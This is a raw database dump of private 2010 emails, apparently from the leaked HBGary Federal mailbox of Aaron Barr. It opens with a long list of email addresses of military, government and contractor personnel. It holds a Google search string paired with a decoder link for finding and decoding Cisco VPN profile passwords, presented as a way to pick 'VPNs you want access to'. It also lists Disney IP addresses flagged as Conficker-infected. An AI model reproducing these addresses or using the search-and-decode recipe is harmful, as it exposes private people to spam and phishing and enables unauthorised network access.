,erik.moratzka@harris.com,ernesto.reyes.1@peterson.af.mil,ewatson-kapetanakis@mcneiltech.com,ewing_thad@bah.com,fdoyle@ball.com,Fernie.Fuentes@hp.com,fowlerc@stratcom.mil,frank.auer@praeses.com,frank.brooks@us.af.mil,frank.Gatta@northcom.mil,frank.morgan@L-3Com.com,fred.wright@gtri.gatech.edu,frederick.mooney@peterson.af.mil,frederick.thomas.ctr@peterson.af.mil,freimuth@us.ibm.com,gahernandez@colsa.com,gary.davis@btas.com,Gary.Johnson@gdc4s.com,gary.kemp@hickam.af.mil,gary.koch@northcom.mil,gary.pagan@ca.com,gary.raymond@northcom.mil,gavins_wes@bah.com,gaylord.w.clark@saic.com,gbass@cisco.com,george.race@afscn.com,gerald.constable@ljtinc.com,gib.semmes@vion.com,gina.thomas@northcom.mil,glen.collins@ljtinc.com,gordon.birdsall@elmendorf.af.mil,gpelton@cisco.com,greenc@ainfosec.com,greg.sawyer@lackland.af.mil,Gregg_A_Wheeler@raytheon.com,gregory.v.stevenson@boeing.com,gwhite22@csc.com,harrisg44@aol.com,hazuka.james@bah.com,henry.baird@atk.com,ivey.hall@losangeles.af.mil,jacqueline.kaiser@peterson.af.mil,james.cronkhite@northcom.mil,james.dendis@gunter.af.mil,james.godwin@ngc.com,james.hale@peterson.af.mil,james.harrington@andersen.af.mil,james.jones13@us.army.mil,james.lamkin@tyndall.af.mil,james.meola@serco-na.com,James.Norman@ngc.com,james.norrod@peterson.af.mil,james.norwood@vion.com,james.schmitt@scott.af.mil,james.shaw@eads-na-security.com,jarret.rush@wpafb.af.mil,jason.a.romero@lmco.com,jason.ballard@schriever.af.mil,jason.spezzano@hp.com,javi.lopez@us.army.mil,jay.moody@peterson.af.mil,jay.sorensen@schriever.af.mil,jcpulle@gmail.com,jcrowe@smartronix.com,jdavenpo@mitre.org,jeff.farnsworth@us.army.mil,jeff.gray@mda.mil,jeff.harley@smdc-cs.army.mil,jefferd.davis@ngc.com,jeffery.w.engbrecht@saic.com,jeffrey.englert@peterson.af.mil,jeffrey.greenwood@peterson.af.mil,jeffrey.haakinson@peterson.af.mil,jeffrey.robertson@northcom.mil,jefjulie@aol.com,jerry.gantt@northcom.mil,jerry.rollandini@quest.com,jesmith@serco-na.com,jesse.armitage@js.pentagon.mil,jesse.washburn@peterson.af.mil,jessica.declet@us.army.mil,jhartman@sourcefire.com,jill.kale@NGC.COM,jim.armstrong@mda.mil,jim.czirjak@lmco.com,jim.pietrocini@techteam.com,jim.rapkoch@mda.mil,jim.simpson@boeing.com,jkalil@us.ibm.com,jlockheart@bivio.net,jmeleski@rtlogic.com,jmonahan@rtlogic.com,jnmyers@ball.com,joann.faustin.ctr@osd.mil,joekahoe@gmail.com,joel.rothschild@navy.mil,joey.yutz@ang.af.mil,john.amrine@losangeles.af.mil,john.batdorf@ang.af.mil,john.diaz@wpafb.af.mil,john.everage@us.af.mil,john.hayes@harris.com,John.Herd@mail.house.gov,john.mandico@peterson.af.mil,john.mcdevitt@tasc.com,john.pericas@gdit.com,john.price@smdc-cs.army.mil,john.riester@tinker.af.mil,John_Ausink@rand.org,john_treires@informationbuilders.com,johnsokc@stratcom.mil,jon.petruzzi@gdc4s.com,jonathan.jacob@us.af.mil,josef.smith@us.army.mil,joseph.buder@disa.mil,joseph.gambrell@peterson.af.mil,joshua.aultman@robins.af.mil,jsutton@technicacorp.com,judd.martins@ang.af.mil,julian.guerrero@northcom.mil,justin.buckley@goodfellow.af.mil,kaern.hibbard@peterson.af.mil,Karen.Fortney@smdc-cs.army.mil,karin.peterson@qwest.com,Karl_Jensen@raytheon.com,katherine.quick@northcom.mil,kathleen.reynolds@peterson.af.mil,kathy.buono@smdc-cs.army.mil,katieratigan@comcast.com,kdoto@mitre.org,keeler_al@bah.com,keith.kane@peterson.af.mil,kelleym@abacustech.com,kelly.stark@northcom.mil,kelvin.bond@peterson.af.mil,ken.siegel@eyaktek.com,ken.torok-jr@boeing.com,ken12543@yahoo.com,kendra.powell@ROBINS.AF.MIL,kenneth.bratland@tinker.af.mil,kenneth.chambers.ctr@peterson.af.mil,kenneth.edge@wpafb.af.mil,kenneth.holmes@wyle.com,kenneth.lassek@navy.mil,kent.chadrick@peterson.af.mil,kerdman@cisco.com,keven.kumsher@peterson.af.mil,kevin.cleveland@northcom.mil,kevin.smith@praeses.com,kglewis@lewisandfowler.com,kimberly.crider@pentagon.af.mil,kin.hui@lackland.af.mil,kirk.r.warburton@boeing.com,kmiller@smartronix.com,kouteasd@gmail.com,kristin.reimann@peterson.af.mil,kristina.keatts@us.af.mil,ktalman@cisco.com,larnce.robinson@oracle.com,larry.teverbaugh@k2share.com,lawrence.klooster@ca.com,ldavis02@harris.com,leland.stanford@nortelgov.com,leroy.sapp@afncr.af.mil,libicki@rand.org,linda.evans@peterson.af.mil,lisa.thurman@northcom.mil,lmerritt@cloudshield.com,lou.desorbo@gmail.com,louis.tempkin@gdit.com,lrbuckley@americasautomation.com,Lsamora@sainc.com,luis.caban@us.army.mil,luis.figueroa@aleutmgt.com,luis.u.ibanez@us.army.mil,maedmond@cisco.com,majorfreebie@aol.com,Marc.Barber.ctr@ang.af.mil,marc.langlois@ca.com,marc.marmino@gmail.com,marc.snoddy@elmendorf.af.mil,marcus.sachs@verizon.com,margo.nirel@us.army.mil,margonirel@yahoo.com,Marilyn.White@smdc-cs.army.mil,mark.bibeau@northcom.mil,mark.garrett@gartner.com,mark.nichols3@hp.com,mark.stratton@wpafb.af.mil,mark.wegryn@peterson.af.mil,martin.a.payne@saic.com,martin.carmichael@tdameritrade.com,martin.mullican@nciinc.com,marvell.roberson@wyle.com,marvin.gomez@schriever.af.mil,mary.griswold@gunter.af.mil,mary.lamontine-02@schriever.af.mil,mary.latino@lackland.af.mil,mary.welch@peterson.af.mil,MaryJo.dezzutti@afscn.com,matt.henerson@K2Share.com,matt@hbgary.com,matthew.emmel@gd-ais.com,matthew.fisher@peterson.af.ml,matthew.Ligon@LACKLAND.AF.MIL,matthew.yatsko1@us.army.mil,max.woosley@wyle.com,mcarty@softential.com,mckinneyb@ainfosec.com,mcmonigl@us.ibm.com,mdiestel@ball.com,meaghan@microsoft.com,melanie.klinner@smdc.army.mil,melissa.mccullough.ctr@peterson.af.mil,michael.a.young@peterson.af.mil,michael.allen.2@us.af.mil,michael.anson@scott.af.mil,michael.bomba@us.army.mil,michael.bordick@peterson.af.mil,michael.case@northcom.mil,michael.d.smith@peterson.af.mil,michael.dombrowski@vandenberg.af.mil,michael.furness@peterson.af.mil,michael.landon@disa.mil,michael.lanham@us.army.mil,michael.lawless@disa.mil,michael.myers@northcom.mil,michael.oneill2@itt.com,michael.semmens@imprimis-inc.com,michael.stephens@peterson.af.mil,michael.thrall@peterson.af.mil,michael.tiernan@us.af.mil,michael.winchester@us.army.mil,michael.zkiab@peterson.af.mil,michelle.houchin@peterson.af.mil,mick.anna@ngc.com,mickey.cox@l-3com.com,miguel.gonzalez@jtfgno.mil,mihoulih@cisco.com,mike.brock@tinker.af.mil,mike.mcguire@managemobility.com,milan@netcordia.com,mmills@fgm.com,mmorey@techteam.com,monica.chavez@gd-ais.com,monti.knode@northcom.mil,moranvil@stratcom.mil,morgang@stratcom.mil,nancycasey3@comcast.net,nate.morin@microsoft.com','Inquiry about RSA 2010 in London','This is to inquire about your attending RSA 2010 in London.\r\nThomas McClure\r\nprofessionallc-- http://www.google.com/profiles/thomasmcclurester \r\n',10015,'aaron_hbgary_com/10015.html'),(6719,'2010-05-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004851.M998075P14101Q1574.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Disney','I\'m running the Disney netblock now through the EndGame API using a\r\ntool Mark built.  I have my first hit:\r\n\r\n{ \"hosts\": [{\"confidence\": \"0.25957144\", \"events\": {\"Conficker A/B\":\r\n\"1263689496\"}, \"addr\": \"199.181.130.5\"}] }\r\n\r\nTed\r\n',5624,'aaron_hbgary_com/5624.html'),(6720,'2010-05-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004852.M223095P14101Q1575.eml','\"Barr Aaron\" <aaron@hbgary.com>','Another One...','{ \"hosts\": [{\"confidence\": \"0.99943859\", \"events\": {\"Conficker C\":\r\n\"1274809464\", \"Conficker A/B\": \"1272920533\"}, \"addr\":\r\n\"199.181.134.212\"}] }\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10028,'aaron_hbgary_com/10028.html'),(6721,'2010-05-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004852.M437140P14101Q1576.eml','\"Barr Aaron\" <aaron@hbgary.com>','Another One','{ \"hosts\": [{\"confidence\": \"0.74162278\", \"events\": {\"Conficker A/B\":\r\n\"1274070195\", \"Spam\": \"1265900340\"}, \"addr\": \"199.181.135.135\"}] }\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5490,'aaron_hbgary_com/5490.html'),(6722,'2010-05-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004852.M656182P14101Q1577.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Disney','I found three so far when querying Disney NetRange:  199.181.129.0 -\r\n199.181.135.255:\r\n\r\n{ \"hosts\": [{\"confidence\": \"0.74162278\", \"events\": {\"Conficker A/B\":\r\n\"1274070195\", \"Spam\": \"1265900340\"}, \"addr\": \"199.181.135.135\"}] }\r\n{ \"hosts\": [{\"confidence\": \"0.99943859\", \"events\": {\"Conficker C\":\r\n\"1274809464\", \"Conficker A/B\": \"1272920533\"},\r\n\"addr\":\"199.181.134.212\"}] }\r\n{ \"hosts\": [{\"confidence\": \"0.25957144\", \"events\": {\"Conficker\r\nA/B\":\"1263689496\"}, \"addr\": \"199.181.130.5\"}] }\r\n\r\nTed\r\n',14390,'aaron_hbgary_com/14390.html'),(6723,'2010-05-26','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297004852.M890296P14101Q1578.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Responder Pro Eval','Good Morning Aaron,  Do they have a email account that isn&#39;t free (gmail, hotmail, yahoo, etc.)?  HBGary has stopped giving out evals and such to these types of emails because there is really no way of verifying who they are.\r\nOn Wed, May 26, 2010 at 7:07 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nChark,\r\n\r\nCan you open up the account of Deholo Nali &lt;deholo@gmail.com&gt; to download Responder Pro for an eval?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13144,'aaron_hbgary_com/13144.html'),(6724,'2010-05-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004853.M103630P14101Q1579.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Bob','No, we\'ll probably have to call him.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 26, 2010 10:02 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Bob\r\n\r\nbob,\r\n\r\nany call back from Brad?\r\n\r\nAaron\r\n\r\nOn May 11, 2010, at 1:01 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nBrad called me back.  He is traveling this week, but would love to meet with\r\nAaron next week.  He said he will call me tomorrow to set a time.\r\n \r\n \r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Tuesday, May 11, 2010 12:19 PM\r\nTo: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: RE: Bob\r\n \r\nSure\r\n \r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Tuesday, May 11, 2010 9:08 AM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'\r\nSubject: RE: Bob\r\n \r\nYes.  Brad could have biz for HBG Fed for mobile devices.\r\n \r\nHow about if I intro via email to start?\r\n \r\n \r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Tuesday, May 11, 2010 11:45 AM\r\nTo: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: Bob\r\n \r\nAaron wants an intro to Brad Behr and IOMaxis , can you arrange?\r\n \r\nPenny C. Leavy\r\nPresident\r\nHBGary, Inc\r\n \r\n \r\nNOTICE - Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed on\r\nthe taxpayer.  (The foregoing legend has been affixed pursuant to U.S.\r\nTreasury regulations governing tax practice.)\r\n \r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for   delivering the message to the intended recipient, be\r\nadvised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n \r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.819 / Virus Database: 271.1.1/2851 - Release Date: 05/11/10\r\n02:26:00\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.819 / Virus Database: 271.1.1/2851 - Release Date: 05/11/10\r\n02:26:00\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2893 - Release Date: 05/26/10\r\n02:25:00\r\n\r\n',990,'aaron_hbgary_com/990.html'),(6725,'2010-05-26','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004856.M336345P14101Q1580.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pics','\r\n\r\n',14319,'aaron_hbgary_com/14319.html'),(6726,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004856.M774352P14101Q1581.eml','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','Re: Next Steps','There is a local DC mobile development company called pointabout.com.  For a company outside san jose they have a pretty good executive staff.  It occurred to me might be a potential for joint venture with an established mobile development company.\r\n\r\nAaron\r\n\r\nOn May 25, 2010, at 10:24 PM, Nathan Atherley wrote:\r\n\r\n> Aaron\r\n> \r\n> Next steps for me would be to flush out the concept more completely, perhaps just for myself, do you have anything prepared for a pitch standpoint?  I think your idea is definitely intriguing and could be very interesting in application.  On the business side, I would like to chat with someone who knows that space from the VC side, perhaps the guys that make Popcap games.  Do you have anything prepared that we could take to our VC contacts.\r\n> \r\n> thanks\r\n> \r\n> nathan\r\n> \r\n> \r\n> \r\n> On 5/25/2010 3:33 PM, Aaron Barr wrote:\r\n>> Ray/Nate,\r\n>> \r\n>> Maybe having some time to think about what we discussed i am curious\r\n>> as to your thoughts and possible next steps?  I have many more ideas\r\n>> about specific application of capabilities as well as different\r\n>> approaches to starting.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>>   \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6355,'aaron_hbgary_com/6355.html'),(6727,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004857.M373380P14101Q1582.eml','\"Ted Vera\" <ted@hbgary.com>','Disney','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7885,'aaron_hbgary_com/7885.html'),(6728,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004857.M606570P14101Q1583.eml','\"Ted Vera\" <ted@hbgary.com>','Worked into process','The amount of information about public IPs is much more robust than I remember.  I am collecting a list of sites to incorporate as part of open source research prior to an engagement.  Does HBGary do any of that or are they just relying on what AD tells them?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12397,'aaron_hbgary_com/12397.html'),(6729,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004857.M869853P14101Q1584.eml','\"Deholo Nali\" <deholo@gmail.com>','Fwd: Responder Pro Eval','Hi Deholo,See below. &nbsp;Any chance you can use a different email address?AaronBegin forwarded message:From: Charles Copeland &lt;charles@hbgary.com&gt;Date: May 26, 2010 11:50:47 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Responder Pro EvalGood Morning Aaron,&nbsp;&nbsp;Do they have a email account that isn\'t free (gmail, hotmail, yahoo, etc.)? &nbsp;HBGary has stopped giving out evals and such to these types of emails because there is really no way of verifying who they are.\r\nOn Wed, May 26, 2010 at 7:07 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nChark,\r\n\r\nCan you open up the account of Deholo Nali &lt;deholo@gmail.com&gt; to download Responder Pro for an eval?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2687,'aaron_hbgary_com/2687.html'),(6730,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004858.M141699P14101Q1585.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Holy Crap!','http://www.antupc.net/google-hack/pages-containing-network-data/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10077,'aaron_hbgary_com/10077.html'),(6731,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004858.M383003P14101Q1586.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Even worse','http://it.toolbox.com/blogs/managing-infosec/google-hacking-master-list-28302\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4911,'aaron_hbgary_com/4911.html'),(6732,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004858.M596857P14101Q1587.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','wow','http://www.unix-ag.uni-kl.de/~massar/bin/cisco-decode?enc=68C5730C268E5722C1B9FA63247B01B63BBF99317CFBFEEF393299B041D165ADA3DE3B0D7E556EE784628ED7849CA9F1C859763381AFDDF9&.submit=decode%21\r\n\r\nSooooo...using the link above and the google hack string. !Host=*.* intext:enc_UserPassword=* ext:pcf \r\n\r\nTake your pick of VPNs you want access too.\r\n\r\nUgghh..\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3963,'aaron_hbgary_com/3963.html'),(6733,'2010-05-26','\"Camille Tuutti-Winkler\" <camille@executivebiz.com>','/aaron@hbgary.com/new/1297004858.M884923P14101Q1588.eml','aaron@hbgary.com','RE: Transcript from interview','\r\nHi Aaron,\r\n\r\nPlease find attached the transcript from the visibility interview, and feel free to change or remove anything you wish. As soon as the transcript has been approved by you, we\'ll go ahead and post it on our cybersecurity website, TheNewNewInternet.com.\r\n\r\nThanks!\r\n\r\nCamille Tuutti | Reporter | ExecutiveBiz\r\n8230 Old Courthouse Road, Vienna, VA 22182\r\nOffice: 703-226-7004',11225,'aaron_hbgary_com/11225.html'),(6734,'2010-05-26','\"Nali, Deholo\" <Deholo.Nali@cse-cst.gc.ca>','/aaron@hbgary.com/new/1297004859.M107667P14101Q1589.eml','\"Charles Copeland\" <charles@hbgary.com>,\"Charles Copeland\" <charles@hbgary.com>','ID Verification','\r\n\r\n\r\n\r\n\r\nID Verification \r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\nHello Charles, \r\n\r\nI\'ve just submitted an application at hbgary.com to create an account associated with deholo@cse-cst.gc.ca. Due to constraints associated with this email account, I created my original account under deholo@gmail.com. \r\n\r\nPlease use deholo@gmail.com for efficiency in further communications, after verification of my ID using deholo@cse-cst.gc.ca. \r\n\r\nThank you for your understanding. \r\n\r\nDeholo\r\n\r\n\r\n\r\n',16082,'aaron_hbgary_com/16082.html'),(6735,'2010-05-26','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297004859.M387564P14101Q1590.eml','\"Nali, Deholo\" <Deholo.Nali@cse-cst.gc.ca>,\"Nali, Deholo\" <Deholo.Nali@cse-cst.gc.ca>','Re: ID Verification','I haven enabled your account Deholo.Nali@cse-cst.gc.ca you can go to https://portal.hbgary.com/secured/user/downloads.do to download your product.  Once you download it send me your machine ID and I will get you the eval license.\r\nCharlesOn Wed, May 26, 2010 at 12:14 PM, Nali, Deholo &lt;Deholo.Nali@cse-cst.gc.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\nHello Charles, \r\n\r\nI&#39;ve just submitted an application at hbgary.com to create an account associated with deholo@cse-cst.gc.ca. Due to constraints associated with this email account, I created my original account under deholo@gmail.com. \r\n\r\n\r\nPlease use deholo@gmail.com for efficiency in further communications, after verification of my ID using deholo@cse-cst.gc.ca. \r\n\r\n\r\nThank you for your understanding. \r\n\r\nDeholo\r\n\r\n\r\n\r\n\r\n',8046,'aaron_hbgary_com/8046.html'),(6736,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004859.M611505P14101Q1591.eml','\"Charles Copeland\" <charles@hbgary.com>','Re: ID Verification','Charles,I think Deholo was hoping now that he is verified that he can use the gmail account for downloading. &nbsp;Sometimes access using the government account is limited.AaronOn May 26, 2010, at 3:33 PM, Charles Copeland wrote:I haven enabled your account&nbsp;Deholo.Nali@cse-cst.gc.ca you can go to&nbsp;https://portal.hbgary.com/secured/user/downloads.do&nbsp;to download your product. &nbsp;Once you download it send me your machine ID and I will get you the eval license.\r\nCharlesOn Wed, May 26, 2010 at 12:14 PM, Nali, Deholo &lt;Deholo.Nali@cse-cst.gc.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nHello Charles, \r\n\r\nI\'ve just submitted an application at hbgary.com to create an account associated with deholo@cse-cst.gc.ca. Due to constraints associated with this email account, I created my original account under deholo@gmail.com. Please use deholo@gmail.com for efficiency in further communications, after verification of my ID using deholo@cse-cst.gc.ca. Thank you for your understanding. \r\n\r\nDeholo\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5981,'aaron_hbgary_com/5981.html'),(6737,'2010-05-26','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297004859.M854458P14101Q1592.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: ID Verification','The email is the user name.  On Wed, May 26, 2010 at 12:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCharles,I think Deholo was hoping now that he is verified that he can use the gmail account for downloading.  Sometimes access using the government account is limited.\r\nAaronOn May 26, 2010, at 3:33 PM, Charles Copeland wrote:I haven enabled your account Deholo.Nali@cse-cst.gc.ca you can go to https://portal.hbgary.com/secured/user/downloads.do to download your product.  Once you download it send me your machine ID and I will get you the eval license.\r\n\r\nCharlesOn Wed, May 26, 2010 at 12:14 PM, Nali, Deholo &lt;Deholo.Nali@cse-cst.gc.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nHello Charles, \r\n\r\nI&#39;ve just submitted an application at hbgary.com to create an account associated with deholo@cse-cst.gc.ca. Due to constraints associated with this email account, I created my original account under deholo@gmail.com. \r\nPlease use deholo@gmail.com for efficiency in further communications, after verification of my ID using deholo@cse-cst.gc.ca. \r\nThank you for your understanding. \r\n\r\nDeholo\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',12873,'aaron_hbgary_com/12873.html'),(6738,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004860.M141017P14101Q1593.eml','\"Charles Copeland\" <charles@hbgary.com>','Re: ID Verification','right. &nbsp;thanks.On May 26, 2010, at 3:38 PM, Charles Copeland wrote:The email is the user name. &nbsp;On Wed, May 26, 2010 at 12:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCharles,I think Deholo was hoping now that he is verified that he can use the gmail account for downloading. &nbsp;Sometimes access using the government account is limited.\r\nAaronOn May 26, 2010, at 3:33 PM, Charles Copeland wrote:I haven enabled your account&nbsp;Deholo.Nali@cse-cst.gc.ca you can go to&nbsp;https://portal.hbgary.com/secured/user/downloads.do&nbsp;to download your product. &nbsp;Once you download it send me your machine ID and I will get you the eval license.\r\n\r\nCharlesOn Wed, May 26, 2010 at 12:14 PM, Nali, Deholo &lt;Deholo.Nali@cse-cst.gc.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nHello Charles, \r\n\r\nI\'ve just submitted an application at hbgary.com to create an account associated with deholo@cse-cst.gc.ca. Due to constraints associated with this email account, I created my original account under deholo@gmail.com. Please use deholo@gmail.com for efficiency in further communications, after verification of my ID using deholo@cse-cst.gc.ca. Thank you for your understanding. \r\n\r\nDeholo\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1570,'aaron_hbgary_com/1570.html'),(6739,'2010-05-26','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004864.M911607P14101Q1594.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: HBGary Federal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nExecuted agreements attached!\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Moynahan, Seana \r\nSent: Wednesday, May 26, 2010 3:23 PM\r\nTo: Etue, David\r\nCc: Kraemer, Gary\r\nSubject: FW: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi David,\r\n\r\nPlease let me know if I should\r\nforward these along elsewhere&#8230;\r\n\r\n&nbsp;\r\n\r\nKindest,\r\n\r\nSeana\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Moynahan, Seana \r\nSent: Monday, May 24, 2010 5:09 PM\r\nTo: Etue, David\r\nCc: Kraemer, Gary\r\nSubject: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi David,\r\n\r\n&nbsp;\r\n\r\nPer Gary K, please see attached TAP and NDA, executed.\r\n\r\n&nbsp;\r\n\r\nKindest,\r\n\r\nSeana\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6363,'aaron_hbgary_com/6363.html'),(6740,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004865.M358797P14101Q1595.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: HBGary Federal','Sweet. &nbsp;We have been playing with the EGS interface today, working pretty well. &nbsp;An active defense server is being shipped to our Colorado Springs office as we speak. &nbsp;Once we have access to the Fidelis VMs we will start working on the integration.See you tomorrow.AaronOn May 26, 2010, at 4:18 PM, Etue, David wrote:Aaron,&nbsp;Executed agreements attached!David&nbsp;From:&nbsp;Moynahan, Seana&nbsp;Sent:&nbsp;Wednesday, May 26, 2010 3:23 PMTo:&nbsp;Etue, DavidCc:&nbsp;Kraemer, GarySubject:&nbsp;FW: HBGary Federal&nbsp;Hi David,Please let me know if I should forward these along elsewhere…&nbsp;Kindest,Seana&nbsp;From:&nbsp;Moynahan, Seana&nbsp;Sent:&nbsp;Monday, May 24, 2010 5:09 PMTo:&nbsp;Etue, DavidCc:&nbsp;Kraemer, GarySubject:&nbsp;HBGary Federal&nbsp;Hi David,&nbsp;Per Gary K, please see attached TAP and NDA, executed.&nbsp;Kindest,Seana&lt;HBGary_Fidelis_NDA_executed_05242010.pdf&gt;&lt;HBGaryFederal_Fidelis_TAP_Executed05242010.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13253,'aaron_hbgary_com/13253.html'),(6741,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004865.M635526P14101Q1596.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','dead.letter','So on 19-Apr-2010 I am finding a lot of dead.letters (doing google hack searches) in a disparate set of systems/URLs. &nbsp;Inside the dead.letters is a base64 encoded image file with a URL&nbsp;ephedrineboutique.frObviously spam but how did it come to be in the dead.letter files in so many disparate systems on that day? &nbsp;A bot right?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',4802,'aaron_hbgary_com/4802.html'),(6742,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004866.M322470P14101Q1598.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Endgame Systems IP reputation service','Daniel,\r\n\r\nSo far our testing is going well.  Right now we are getting used to querying the database and have modified some scripts for searches.  Our first result was to do a query against Disneys ip-block (Greg is going in 